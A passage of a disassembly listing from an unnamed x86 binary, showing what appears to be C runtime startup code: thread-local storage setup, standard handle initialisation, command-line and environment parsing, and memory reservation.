mov [ebx+30h], eax
call sub_4497E1
loc_44B360: ; CODE XREF: sub_44B281:loc_44B30Cj
; sub_44B281+B7j
mov eax, [ebx+8]
mov [ebx+14h], eax
mov eax, [ebx+0Ch]
mov [ebx+18h], eax
or word ptr [ebx], 6000h
xor eax, eax
loc_44B373: ; CODE XREF: sub_44B281+14j
; sub_44B281+50j ...
pop ebx
mov esp, ebp
pop ebp
retn
sub_44B281 endp
; ---------------------------------------------------------------------------
db 89h, 0FFh
db 8Dh, 0BCh, 27h, 4 dup(0)
; =============== S U B R O U T I N E =======================================
sub_44B381 proc near ; CODE XREF: sub_449B41+59p
; sub_44C011+696p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
mov ecx, [esp+4+arg_8]
mov eax, [esp+4+arg_4]
mov bl, al
mov edx, [esp+4+arg_0]
jmp short loc_44B39C
; ---------------------------------------------------------------------------
loc_44B392: ; CODE XREF: sub_44B381+1Dj
cmp [edx], bl
jnz short loc_44B39A
mov eax, edx
jmp short loc_44B3A2
; ---------------------------------------------------------------------------
loc_44B39A: ; CODE XREF: sub_44B381+13j
inc edx
dec ecx
loc_44B39C: ; CODE XREF: sub_44B381+Fj
test ecx, ecx
jnz short loc_44B392
xor eax, eax
loc_44B3A2: ; CODE XREF: sub_44B381+17j
pop ebx
retn
sub_44B381 endp
; ---------------------------------------------------------------------------
db 8Dh, 0BFh, 4 dup(0)
db 8Dh, 0BCh, 27h, 4 dup(0)
; =============== S U B R O U T I N E =======================================
sub_44B3B1 proc near ; CODE XREF: DMN1:loc_449EC8p
push ebx
call sub_44AA81
call dword_411DD4
mov dword_411770, eax
cmp eax, 0FFFFFFFFh
jnz short loc_44B3CD
xor eax, eax
jmp short loc_44B408
; ---------------------------------------------------------------------------
loc_44B3CD: ; CODE XREF: sub_44B3B1+16j
push 48h
call sub_44A581
pop ecx
mov ebx, eax
test eax, eax
jz short loc_44B3EC
push ebx
mov eax, dword_411770
push eax
call dword_411D98
test eax, eax
jnz short loc_44B3F0
loc_44B3EC: ; CODE XREF: sub_44B3B1+28j
xor eax, eax
jmp short loc_44B408
; ---------------------------------------------------------------------------
loc_44B3F0: ; CODE XREF: sub_44B3B1+39j
push ebx
call sub_44B441
pop ecx
call dword_411DD8
mov [ebx], eax
or dword ptr [ebx+4], 0FFFFFFFFh
mov eax, 1
loc_44B408: ; CODE XREF: sub_44B3B1+1Aj
; sub_44B3B1+3Dj
pop ebx
retn
sub_44B3B1 endp
; ---------------------------------------------------------------------------
db 8Dh, 0BCh, 27h, 4 dup(0)
; ---------------------------------------------------------------------------
call sub_44AAC1
cmp dword_411770, 0FFFFFFFFh
jz short locret_44B435
mov eax, dword_411770
push eax
call dword_411DDC
or dword_411770, 0FFFFFFFFh
locret_44B435: ; CODE XREF: DMN1:0044B420j
retn
; ---------------------------------------------------------------------------
db 8Dh, 7Ch, 27h, 0
db 8Dh, 0BCh, 27h, 4 dup(0)
; =============== S U B R O U T I N E =======================================
sub_44B441 proc near ; CODE XREF: sub_449CF1+17p
; sub_44B3B1+40p ...
arg_0 = dword ptr 4
push ebx
mov ebx, [esp+4+arg_0]
mov edx, ebx
mov ecx, 48h
xor eax, eax
push edi
mov edi, edx
rep stosb
pop edi
mov eax, edx
mov dword ptr [ebx+34h], offset dword_4117E4
mov dword ptr [ebx+10h], 1
pop ebx
retn
sub_44B441 endp
; ---------------------------------------------------------------------------
db 8Dh, 7Fh, 0
db 8Dh, 0BCh, 27h, 4 dup(0)
; =============== S U B R O U T I N E =======================================
sub_44B471 proc near ; CODE XREF: sub_449D81+1p sub_44A781p ...
push ebx
push esi
call dword_411CE8
mov esi, eax
mov eax, dword_411770
push eax
call dword_411DE0
mov ebx, eax
test eax, eax
jnz short loc_44B4C9
push 48h
call sub_44A581
pop ecx
mov ebx, eax
test eax, eax
jz short loc_44B4C1
push ebx
mov eax, dword_411770
push eax
call dword_411D98
test eax, eax
jz short loc_44B4C1
push ebx
call sub_44B441
pop ecx
call dword_411DD8
mov [ebx], eax
or dword ptr [ebx+4], 0FFFFFFFFh
jmp short loc_44B4C9
; ---------------------------------------------------------------------------
loc_44B4C1: ; CODE XREF: sub_44B471+28j
; sub_44B471+39j
push 1
call sub_44B571
pop ecx
loc_44B4C9: ; CODE XREF: sub_44B471+1Aj
; sub_44B471+4Ej
push esi
call dword_411D14
mov eax, ebx
pop esi
pop ebx
retn
sub_44B471 endp
; ---------------------------------------------------------------------------
db 8Dh, 0BFh, 4 dup(0)
db 8Dh, 0BFh, 4 dup(0)
; =============== S U B R O U T I N E =======================================
sub_44B4E1 proc near ; CODE XREF: sub_449D81+28p
arg_0 = dword ptr 4
push ebx
mov ebx, [esp+4+arg_0]
cmp dword_411770, 0FFFFFFFFh
jz short loc_44B56D
test ebx, ebx
jnz short loc_44B504
mov eax, dword_411770
push eax
call dword_411DE0
mov ebx, eax
loc_44B504: ; CODE XREF: sub_44B4E1+13j
test ebx, ebx
jz short loc_44B55F
mov eax, [ebx+20h]
push eax
call sub_4494D1
pop ecx
mov eax, [ebx+24h]
push eax
call sub_4494D1
pop ecx
mov eax, [ebx+28h]
push eax
call sub_4494D1
pop ecx
mov eax, [ebx+2Ch]
push eax
call sub_4494D1
pop ecx
mov eax, [ebx+30h]
push eax
call sub_4494D1
pop ecx
mov eax, [ebx+34h]
cmp eax, offset dword_4117E4
jz short loc_44B54E
mov eax, [ebx+34h]
push eax
call sub_4494D1
pop ecx
loc_44B54E: ; CODE XREF: sub_44B4E1+61j
mov eax, [ebx+3Ch]
push eax
call sub_4494D1
pop ecx
push ebx
call sub_4494D1
pop ecx
loc_44B55F: ; CODE XREF: sub_44B4E1+25j
push 0
mov eax, dword_411770
push eax
call dword_411D98
loc_44B56D: ; CODE XREF: sub_44B4E1+Fj
pop ebx
retn
sub_44B4E1 endp
; ---------------------------------------------------------------------------
db 89h, 0FFh
; =============== S U B R O U T I N E =======================================
sub_44B571 proc near ; CODE XREF: DMN1:00449C8Dp
; DMN1:00449CCBp ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call dword_411D30
retn
sub_44B571 endp
; ---------------------------------------------------------------------------
db 8Dh, 7Ch, 27h, 0
; =============== S U B R O U T I N E =======================================
sub_44B581 proc near ; CODE XREF: DMN1:00449CBBp
; DMN1:00449F78p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
push edi
mov ebx, [esp+0Ch+arg_0]
mov esi, offset dword_411774
jmp short loc_44B5D3
; ---------------------------------------------------------------------------
loc_44B58F: ; CODE XREF: sub_44B581+58j
cmp [esi], ebx
jnz short loc_44B5D0
push 1
mov eax, [esi+4]
push eax
call sub_44D131
add esp, 8
mov edi, eax
cmp edi, 0FFFFFFFFh
jz short loc_44B5AF
test edi, edi
jnz short loc_44B5B1
loc_44B5AF: ; CODE XREF: sub_44B581+28j
jmp short loc_44B5DB
; ---------------------------------------------------------------------------
loc_44B5B1: ; CODE XREF: sub_44B581+2Cj
cmp edi, 1
jz short loc_44B5CB
push 0
mov eax, [esi+4]
push eax
call sub_44D131
add esp, 8
mov eax, [esi+4]
push eax
call edi
pop ecx
loc_44B5CB: ; CODE XREF: sub_44B581+33j
or eax, 0FFFFFFFFh
jmp short loc_44B5E6
; ---------------------------------------------------------------------------
loc_44B5D0: ; CODE XREF: sub_44B581+10j
add esi, 8
loc_44B5D3: ; CODE XREF: sub_44B581+Cj
cmp esi, offset dword_4117C4
jb short loc_44B58F
loc_44B5DB: ; CODE XREF: sub_44B581:loc_44B5AFj
mov eax, [esp+0Ch+arg_4]
push eax
call dword_411DE4
loc_44B5E6: ; CODE XREF: sub_44B581+4Dj
pop edi
pop esi
pop ebx
retn
sub_44B581 endp
; ---------------------------------------------------------------------------
db 8Dh, 0BCh, 27h, 4 dup(0)
; =============== S U B R O U T I N E =======================================
sub_44B5F1 proc near ; CODE XREF: sub_449E71+5p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call dword_411D18
test eax, eax
jnz short loc_44B611
call dword_411CE8
push eax
call sub_44A621
pop ecx
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_44B611: ; CODE XREF: sub_44B5F1+Dj
xor eax, eax
retn
sub_44B5F1 endp
; ---------------------------------------------------------------------------
db 8Dh, 0BFh, 4 dup(0)
db 8Dh, 0BCh, 27h, 4 dup(0)
; =============== S U B R O U T I N E =======================================
sub_44B621 proc near ; CODE XREF: DMN1:00449EE0p
push offset dword_412854
call dword_411DE8
retn
sub_44B621 endp
; ---------------------------------------------------------------------------
db 8Dh, 7Ch, 27h, 0
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 8
push ebx
lea eax, [ebp-8]
push eax
call dword_411DE8
mov eax, [ebp-8]
mov edx, [ebp-4]
mov ecx, dword_412854
mov ebx, dword_412858
sub eax, ecx
sbb edx, ebx
mov [ebp-8], eax
mov [ebp-4], edx
mov eax, [ebp-8]
mov edx, [ebp-4]
push edx
push eax
push 0
push 2710h
call sub_44D221
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
db 8Dh, 7Fh, 0
db 8Dh, 0BCh, 27h, 4 dup(0)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_44B681 proc near ; CODE XREF: DMN1:00449EE5p
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_5C = dword ptr -5Ch
var_58 = byte ptr -58h
var_26 = word ptr -26h
var_24 = dword ptr -24h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 64h
push ebx
push esi
push edi
push 480h
call sub_44A581
pop ecx
mov ebx, eax
test eax, eax
jnz short loc_44B6A3
push 1
call sub_44B571
pop ecx
loc_44B6A3: ; CODE XREF: sub_44B681+18j
mov dword_413988, ebx
mov dword_413A88, 20h
jmp short loc_44B6CD
; ---------------------------------------------------------------------------
loc_44B6B5: ; CODE XREF: sub_44B681+58j
mov byte ptr [ebx+4], 0
mov dword ptr [ebx], 0FFFFFFFFh
mov byte ptr [ebx+5], 0Ah
mov dword ptr [ebx+8], 0
add ebx, 24h
loc_44B6CD: ; CODE XREF: sub_44B681+32j
mov eax, dword_413988
add eax, 480h
cmp ebx, eax
jb short loc_44B6B5
lea eax, [ebp+var_58]
push eax
call dword_411DA8
cmp [ebp+var_26], 0
jz loc_44B7F3
cmp [ebp+var_24], 0
jz loc_44B7F3
mov eax, [ebp+var_24]
mov eax, [eax]
mov [ebp+var_10], eax
mov eax, [ebp+var_24]
add eax, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_10]
mov edx, [ebp+var_4]
add edx, eax
mov [ebp+var_8], edx
cmp eax, 800h
jle short loc_44B724
mov [ebp+var_10], 800h
loc_44B724: ; CODE XREF: sub_44B681+9Aj
mov esi, 1
jmp short loc_44B77F
; ---------------------------------------------------------------------------
loc_44B72B: ; CODE XREF: sub_44B681+107j
push 480h
call sub_44A581
pop ecx
mov ebx, eax
test eax, eax
jnz short loc_44B746
mov eax, dword_413A88
mov [ebp+var_10], eax
jmp short loc_44B78A
; ---------------------------------------------------------------------------
loc_44B746: ; CODE XREF: sub_44B681+B9j
mov dword_413988[esi*4], ebx
add dword_413A88, 20h
jmp short loc_44B76E
; ---------------------------------------------------------------------------
loc_44B756: ; CODE XREF: sub_44B681+FBj
mov byte ptr [ebx+4], 0
mov dword ptr [ebx], 0FFFFFFFFh
mov byte ptr [ebx+5], 0Ah
mov dword ptr [ebx+8], 0
add ebx, 24h
loc_44B76E: ; CODE XREF: sub_44B681+D3j
mov eax, dword_413988[esi*4]
add eax, 480h
cmp ebx, eax
jb short loc_44B756
inc esi
loc_44B77F: ; CODE XREF: sub_44B681+A8j
mov eax, [ebp+var_10]
cmp dword_413A88, eax
jl short loc_44B72B
loc_44B78A: ; CODE XREF: sub_44B681+C3j
xor edi, edi
jmp short loc_44B7EE
; ---------------------------------------------------------------------------
loc_44B78E: ; CODE XREF: sub_44B681+170j
mov eax, [ebp+var_8]
mov eax, [eax]
cmp eax, 0FFFFFFFFh
jz short loc_44B7E1
mov edx, [ebp+var_4]
movzx edx, byte ptr [edx]
test edx, 1
jz short loc_44B7E1
test edx, 8
jnz short loc_44B7BB
push eax
call dword_411DEC
test eax, eax
jz short loc_44B7E1
loc_44B7BB: ; CODE XREF: sub_44B681+12Dj
mov eax, edi
and eax, 1Fh
imul eax, 24h
mov edx, edi
sar edx, 5
mov edx, dword_413988[edx*4]
lea ebx, [edx+eax]
mov eax, [ebp+var_8]
mov eax, [eax]
mov [ebx], eax
mov eax, [ebp+var_4]
mov al, [eax]
mov [ebx+4], al
loc_44B7E1: ; CODE XREF: sub_44B681+117j
; sub_44B681+125j ...
inc edi
inc [ebp+var_4]
mov eax, [ebp+var_8]
add eax, 4
mov [ebp+var_8], eax
loc_44B7EE: ; CODE XREF: sub_44B681+10Bj
cmp edi, [ebp+var_10]
jl short loc_44B78E
loc_44B7F3: ; CODE XREF: sub_44B681+69j
; sub_44B681+73j
xor edi, edi
loc_44B7F5: ; CODE XREF: sub_44B681+23Ej
imul eax, edi, 24h
mov edx, dword_413988
lea ebx, [edx+eax]
cmp dword ptr [ebx], 0FFFFFFFFh
jnz loc_44B8B7
mov byte ptr [ebx+4], 81h
test edi, edi
jnz short loc_44B81E
mov [ebp+var_5C], 0FFFFFFF6h
jmp short loc_44B82F
; ---------------------------------------------------------------------------
loc_44B81E: ; CODE XREF: sub_44B681+192j
cmp edi, 1
setz al
and eax, 1
add eax, 0FFFFFFF4h
mov [ebp+var_5C], eax
loc_44B82F: ; CODE XREF: sub_44B681+19Bj
mov eax, [ebp+var_5C]
push eax
call dword_411CD4
mov [ebp+var_C], eax
cmp eax, 0FFFFFFFFh
jz short loc_44B8B1
mov eax, [ebp+var_C]
push eax
call dword_411DEC
mov [ebp+var_14], eax
test eax, eax
jz short loc_44B8B1
call dword_411D64
mov [ebp+var_64], eax
call dword_411D64
push 2
push 1
push 0
lea edx, [ebp+var_60]
push edx
push eax
mov eax, [ebp+var_C]
push eax
mov eax, [ebp+var_64]
push eax
call dword_411DF0
test eax, eax
jz short loc_44B886
mov eax, [ebp+var_60]
mov [ebp+var_C], eax
loc_44B886: ; CODE XREF: sub_44B681+1FDj
mov eax, [ebp+var_C]
mov [ebx], eax
mov eax, [ebp+var_14]
and eax, 0FFh
cmp eax, 2
jnz short loc_44B89E
or byte ptr [ebx+4], 40h
jmp short loc_44B8BB
; ---------------------------------------------------------------------------
loc_44B89E: ; CODE XREF: sub_44B681+215j
mov eax, [ebp+var_14]
and eax, 0FFh
cmp eax, 3
jnz short loc_44B8BB
or byte ptr [ebx+4], 8
jmp short loc_44B8BB
; ---------------------------------------------------------------------------
loc_44B8B1: ; CODE XREF: sub_44B681+1C0j
; sub_44B681+1D1j
or byte ptr [ebx+4], 40h
jmp short loc_44B8BB
; ---------------------------------------------------------------------------
loc_44B8B7: ; CODE XREF: sub_44B681+186j
or byte ptr [ebx+4], 80h
loc_44B8BB: ; CODE XREF: sub_44B681+21Bj
; sub_44B681+228j ...
inc edi
cmp edi, 3
jl loc_44B7F5
mov eax, dword_413A88
push eax
call dword_411DF4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_44B681 endp
; ---------------------------------------------------------------------------
db 89h, 0FFh
db 8Dh, 0BCh, 27h, 4 dup(0)
; ---------------------------------------------------------------------------
push ebx
push esi
xor ebx, ebx
loc_44B8E5: ; CODE XREF: DMN1:0044B938j
cmp dword_413988[ebx*4], 0
jz short loc_44B934
mov esi, dword_413988[ebx*4]
jmp short loc_44B90B
; ---------------------------------------------------------------------------
loc_44B8F8: ; CODE XREF: DMN1:0044B919j
cmp dword ptr [esi+8], 0
jz short loc_44B908
lea eax, [esi+0Ch]
push eax
call dword_411DCC
loc_44B908: ; CODE XREF: DMN1:0044B8FCj
add esi, 24h
loc_44B90B: ; CODE XREF: DMN1:0044B8F6j
mov eax, dword_413988[ebx*4]
add eax, 480h
cmp esi, eax
jb short loc_44B8F8
mov eax, dword_413988[ebx*4]
push eax
call sub_4494D1
pop ecx
mov dword_413988[ebx*4], 0
loc_44B934: ; CODE XREF: DMN1:0044B8EDj
inc ebx
cmp ebx, 40h
jl short loc_44B8E5
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
db 8Dh, 7Ch, 27h, 0
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_44B941 proc near ; CODE XREF: sub_44BAF1+3Fp
; sub_44BAF1+76p
var_9 = byte ptr -9
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push edi
mov ecx, [ebp+arg_8]
mov edx, [ebp+arg_10]
mov dword ptr [edx], 0
mov edx, [ebp+arg_C]
mov dword ptr [edx], 1
mov ebx, [ebp+arg_0]
cmp [ebp+arg_4], 0
jz short loc_44B972
mov eax, [ebp+arg_4]
lea edx, [eax+4]
mov [ebp+arg_4], edx
mov [eax], ecx
loc_44B972: ; CODE XREF: sub_44B941+24j
cmp byte ptr [ebx], 22h
jnz short loc_44B9AD
jmp short loc_44B989
; ---------------------------------------------------------------------------
loc_44B979: ; CODE XREF: sub_44B941+53j
test ecx, ecx
jz short loc_44B984
mov eax, ecx
inc ecx
mov dl, [ebx]
mov [eax], dl
loc_44B984: ; CODE XREF: sub_44B941+3Aj
mov eax, [ebp+arg_10]
inc dword ptr [eax]
loc_44B989: ; CODE XREF: sub_44B941+36j
inc ebx
mov eax, ebx
cmp byte ptr [eax], 22h
jz short loc_44B996
cmp byte ptr [ebx], 0
jnz short loc_44B979
loc_44B996: ; CODE XREF: sub_44B941+4Ej
test ecx, ecx
jz short loc_44B9A0
mov eax, ecx
inc ecx
mov byte ptr [eax], 0
loc_44B9A0: ; CODE XREF: sub_44B941+57j
mov eax, [ebp+arg_10]
inc dword ptr [eax]
cmp byte ptr [ebx], 22h
jnz short loc_44B9E5
inc ebx
jmp short loc_44B9E5
; ---------------------------------------------------------------------------
loc_44B9AD: ; CODE XREF: sub_44B941+34j
; sub_44B941+91j
test ecx, ecx
jz short loc_44B9B8
mov eax, ecx
inc ecx
mov dl, [ebx]
mov [eax], dl
loc_44B9B8: ; CODE XREF: sub_44B941+6Ej
mov eax, [ebp+arg_10]
inc dword ptr [eax]
mov eax, ebx
inc ebx
mov al, [eax]
mov [ebp+var_9], al
mov al, [ebp+var_9]
cmp al, 20h
jz short loc_44B9D4
test al, al
jz short loc_44B9D4
cmp al, 9
jnz short loc_44B9AD
loc_44B9D4: ; CODE XREF: sub_44B941+89j
; sub_44B941+8Dj
cmp [ebp+var_9], 0
jnz short loc_44B9DD
dec ebx
jmp short loc_44B9E5
; ---------------------------------------------------------------------------
loc_44B9DD: ; CODE XREF: sub_44B941+97j
test ecx, ecx
jz short loc_44B9E5
mov byte ptr [ecx-1], 0
loc_44B9E5: ; CODE XREF: sub_44B941+67j
; sub_44B941+6Aj ...
mov [ebp+var_8], 0
loc_44B9EC: ; CODE XREF: sub_44B941+181j
cmp byte ptr [ebx], 0
jz short loc_44B9FE
jmp short loc_44B9F4
; ---------------------------------------------------------------------------
loc_44B9F3: ; CODE XREF: sub_44B941+B7j
; sub_44B941+BBj
inc ebx
loc_44B9F4: ; CODE XREF: sub_44B941+B0j
mov al, [ebx]
cmp al, 20h
jz short loc_44B9F3
cmp al, 9
jz short loc_44B9F3
loc_44B9FE: ; CODE XREF: sub_44B941+AEj
cmp byte ptr [ebx], 0
jz loc_44BAC7
cmp [ebp+arg_4], 0
jz short loc_44BA18
mov eax, [ebp+arg_4]
lea edx, [eax+4]
mov [ebp+arg_4], edx
mov [eax], ecx
loc_44BA18: ; CODE XREF: sub_44B941+CAj
mov eax, [ebp+arg_C]
inc dword ptr [eax]
loc_44BA1D: ; CODE XREF: sub_44B941+16Dj
mov [ebp+var_4], 1
xor edi, edi
jmp short loc_44BA2A
; ---------------------------------------------------------------------------
loc_44BA28: ; CODE XREF: sub_44B941+ECj
inc ebx
inc edi
loc_44BA2A: ; CODE XREF: sub_44B941+E5j
cmp byte ptr [ebx], 5Ch
jz short loc_44BA28
cmp byte ptr [ebx], 22h
jnz short loc_44BA7A
test edi, 1
jnz short loc_44BA67
cmp [ebp+var_8], 0
jz short loc_44BA54
cmp byte ptr [ebx+1], 22h
jnz short loc_44BA4B
inc ebx
jmp short loc_44BA5B
; ---------------------------------------------------------------------------
loc_44BA4B: ; CODE XREF: sub_44B941+105j
mov [ebp+var_4], 0
jmp short loc_44BA5B
; ---------------------------------------------------------------------------
loc_44BA54: ; CODE XREF: sub_44B941+FFj
mov [ebp+var_4], 0
loc_44BA5B: ; CODE XREF: sub_44B941+108j
; sub_44B941+111j
xor eax, eax
cmp [ebp+var_8], 0
setz al
mov [ebp+var_8], eax
loc_44BA67: ; CODE XREF: sub_44B941+F9j
shr edi, 1
jmp short loc_44BA7A
; ---------------------------------------------------------------------------
loc_44BA6B: ; CODE XREF: sub_44B941+13Ej
test ecx, ecx
jz short loc_44BA75
mov eax, ecx
inc ecx
mov byte ptr [eax], 5Ch
loc_44BA75: ; CODE XREF: sub_44B941+12Cj
mov eax, [ebp+arg_10]
inc dword ptr [eax]
loc_44BA7A: ; CODE XREF: sub_44B941+F1j
; sub_44B941+128j
mov eax, edi
dec edi
test eax, eax
jnz short loc_44BA6B
mov al, [ebx]
test al, al
jz short loc_44BA95
cmp [ebp+var_8], 0
jnz short loc_44BA97
cmp al, 20h
jz short loc_44BA95
cmp al, 9
jnz short loc_44BA97
loc_44BA95: ; CODE XREF: sub_44B941+144j
; sub_44B941+14Ej
jmp short loc_44BAB3
; ---------------------------------------------------------------------------
loc_44BA97: ; CODE XREF: sub_44B941+14Aj
; sub_44B941+152j
cmp [ebp+var_4], 0
jz short loc_44BAAD
test ecx, ecx
jz short loc_44BAA8
mov eax, ecx
inc ecx
mov dl, [ebx]
mov [eax], dl
loc_44BAA8: ; CODE XREF: sub_44B941+15Ej
mov eax, [ebp+arg_10]
inc dword ptr [eax]
loc_44BAAD: ; CODE XREF: sub_44B941+15Aj
inc ebx
jmp loc_44BA1D
; ---------------------------------------------------------------------------
loc_44BAB3: ; CODE XREF: sub_44B941:loc_44BA95j
test ecx, ecx
jz short loc_44BABD
mov eax, ecx
inc ecx
mov byte ptr [eax], 0
loc_44BABD: ; CODE XREF: sub_44B941+174j
mov eax, [ebp+arg_10]
inc dword ptr [eax]
jmp loc_44B9EC
; ---------------------------------------------------------------------------
loc_44BAC7: ; CODE XREF: sub_44B941+C0j
cmp [ebp+arg_4], 0
jz short loc_44BADC
mov eax, [ebp+arg_4]
lea edx, [eax+4]
mov [ebp+arg_4], edx
mov dword ptr [eax], 0
loc_44BADC: ; CODE XREF: sub_44B941+18Aj
mov eax, [ebp+arg_C]
inc dword ptr [eax]
pop edi
pop ebx
mov esp, ebp
pop ebp
retn
sub_44B941 endp
; ---------------------------------------------------------------------------
db 8Dh, 7Fh, 0
db 8Dh, 0BCh, 27h, 4 dup(0)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_44BAF1 proc near ; CODE XREF: DMN1:00449EEAp
var_10C = byte ptr -10Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 10Ch
push ebx
push esi
call dword_411D90
mov esi, eax
cmp byte ptr [esi], 0
jnz short loc_44BB23
push 104h
lea eax, [ebp+var_10C]
push eax
push 0
call dword_411CDC
lea esi, [ebp+var_10C]
loc_44BB23: ; CODE XREF: sub_44BAF1+16j
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
push 0
push 0
push esi
call sub_44B941
add esp, 14h
mov eax, [ebp+var_4]
mov edx, [ebp+var_8]
lea eax, [edx+eax*4]
push eax
call sub_44A581
pop ecx
mov ebx, eax
test ebx, ebx
jnz short loc_44BB56
push 1
call sub_44B571
pop ecx
loc_44BB56: ; CODE XREF: sub_44BAF1+5Bj
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
mov eax, [ebp+var_4]
lea eax, [ebx+eax*4]
push eax
push ebx
push esi
call sub_44B941
add esp, 14h
mov eax, [ebp+var_4]
dec eax
mov dword_4117C4, eax
mov dword_4117C8, ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_44BAF1 endp
; ---------------------------------------------------------------------------
db 8Dh, 0BFh, 4 dup(0)
db 8Dh, 0BCh, 27h, 4 dup(0)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_44BB91 proc near ; CODE XREF: DMN1:00449EEFp
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
call dword_411DF8
mov [ebp+var_8], eax
test eax, eax
jnz short loc_44BBAF
mov eax, off_411894
mov [ebp+var_8], eax
loc_44BBAF: ; CODE XREF: sub_44BB91+14j
mov [ebp+var_4], 0
mov ebx, [ebp+var_8]
jmp short loc_44BBD4
; ---------------------------------------------------------------------------
loc_44BBBB: ; CODE XREF: sub_44BB91+46j
mov edx, ebx
or eax, 0FFFFFFFFh
loc_44BBC0: ; CODE XREF: sub_44BB91+34j
inc eax
cmp byte ptr [edx+eax], 0
jnz short loc_44BBC0
lea esi, [eax+1]
cmp byte ptr [ebx], 3Dh
jz short loc_44BBD2
add [ebp+var_4], esi
loc_44BBD2: ; CODE XREF: sub_44BB91+3Cj
add ebx, esi
loc_44BBD4: ; CODE XREF: sub_44BB91+28j
cmp byte ptr [ebx], 0
jnz short loc_44BBBB
mov eax, [ebp+var_4]
inc eax
push eax
call sub_44A581
pop ecx
mov edi, eax
mov dword_4117D0, eax
cmp dword_4117D0, 0
jnz short loc_44BBFC
push 1
call sub_44B571
pop ecx
loc_44BBFC: ; CODE XREF: sub_44BB91+61j
mov ebx, [ebp+var_8]
jmp short loc_44BC2B
; ---------------------------------------------------------------------------
loc_44BC01: ; CODE XREF: sub_44BB91+9Dj
mov edx, ebx
or eax, 0FFFFFFFFh
loc_44BC06: ; CODE XREF: sub_44BB91+7Aj
inc eax
cmp byte ptr [edx+eax], 0
jnz short loc_44BC06
lea esi, [eax+1]
cmp byte ptr [ebx], 3Dh
jz short loc_44BC29
mov ecx, edi
mov edx, ebx
push ecx
sub ecx, edx
loc_44BC1C: ; CODE XREF: sub_44BB91+93j
mov al, [edx]
mov [ecx+edx], al
inc edx
test al, al
jnz short loc_44BC1C
pop eax
add edi, esi
loc_44BC29: ; CODE XREF: sub_44BB91+82j
add ebx, esi
loc_44BC2B: ; CODE XREF: sub_44BB91+6Ej
cmp byte ptr [ebx], 0
jnz short loc_44BC01
mov byte ptr [edi], 0
mov eax, off_411894
cmp eax, [ebp+var_8]
jz short loc_44BC47
mov eax, [ebp+var_8]
push eax
call dword_411DFC
loc_44BC47: ; CODE XREF: sub_44BB91+AAj
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_44BB91 endp
; ---------------------------------------------------------------------------
db 8Dh, 7Fh, 0
; =============== S U B R O U T I N E =======================================
sub_44BC51 proc near ; CODE XREF: DMN1:00449F24p
push ebx
call dword_411D90
mov ebx, eax
cmp byte ptr [ebx], 22h
jnz short loc_44BC75
loc_44BC5F: ; CODE XREF: sub_44BC51+19j
inc ebx
mov eax, ebx
cmp byte ptr [eax], 22h
jz short loc_44BC6C
cmp byte ptr [ebx], 0
jnz short loc_44BC5F
loc_44BC6C: ; CODE XREF: sub_44BC51+14j
cmp byte ptr [ebx], 22h
jnz short loc_44BC7D
inc ebx
jmp short loc_44BC7D
; ---------------------------------------------------------------------------
loc_44BC74: ; CODE XREF: sub_44BC51+27j
inc ebx
loc_44BC75: ; CODE XREF: sub_44BC51+Cj
cmp byte ptr [ebx], 20h
ja short loc_44BC74
jmp short loc_44BC7D
; ---------------------------------------------------------------------------
loc_44BC7C: ; CODE XREF: sub_44BC51+34j
inc ebx
loc_44BC7D: ; CODE XREF: sub_44BC51+1Ej
; sub_44BC51+21j ...
mov al, [ebx]
test al, al
jz short loc_44BC87
cmp al, 20h
jbe short loc_44BC7C
loc_44BC87: ; CODE XREF: sub_44BC51+30j
mov eax, ebx
pop ebx
retn
sub_44BC51 endp
; ---------------------------------------------------------------------------
db 8Dh, 0BFh, 4 dup(0)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_44BC91 proc near ; CODE XREF: sub_449FB1+21p
var_1C = byte ptr -1Ch
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1Ch
push ebx
push esi
push edi
mov ebx, [ebp+arg_0]
cmp dword_4117D8, 0
jnz short loc_44BCC4
push 1
push 2000h
mov eax, dword_4117DC
push eax
push 0
call dword_411E00
mov dword_4117D8, eax
test eax, eax
jz short loc_44BD27
loc_44BCC4: ; CODE XREF: sub_44BC91+13j
push 1Ch
lea eax, [ebp+var_1C]
push eax
mov eax, dword_4117D8
push eax
call dword_411E04
test eax, eax
jz short loc_44BD27
cmp [ebp+var_C], 1000h
jnz short loc_44BCF1
mov eax, [ebp+var_10]
mov edx, dword_4117D8
lea edi, [edx+eax]
jmp short loc_44BCF7
; ---------------------------------------------------------------------------
loc_44BCF1: ; CODE XREF: sub_44BC91+50j
mov edi, dword_4117D8
loc_44BCF7: ; CODE XREF: sub_44BC91+5Ej
mov esi, edi
lea eax, [esi+ebx]
mov edx, dword_4117DC
mov ecx, dword_4117D8
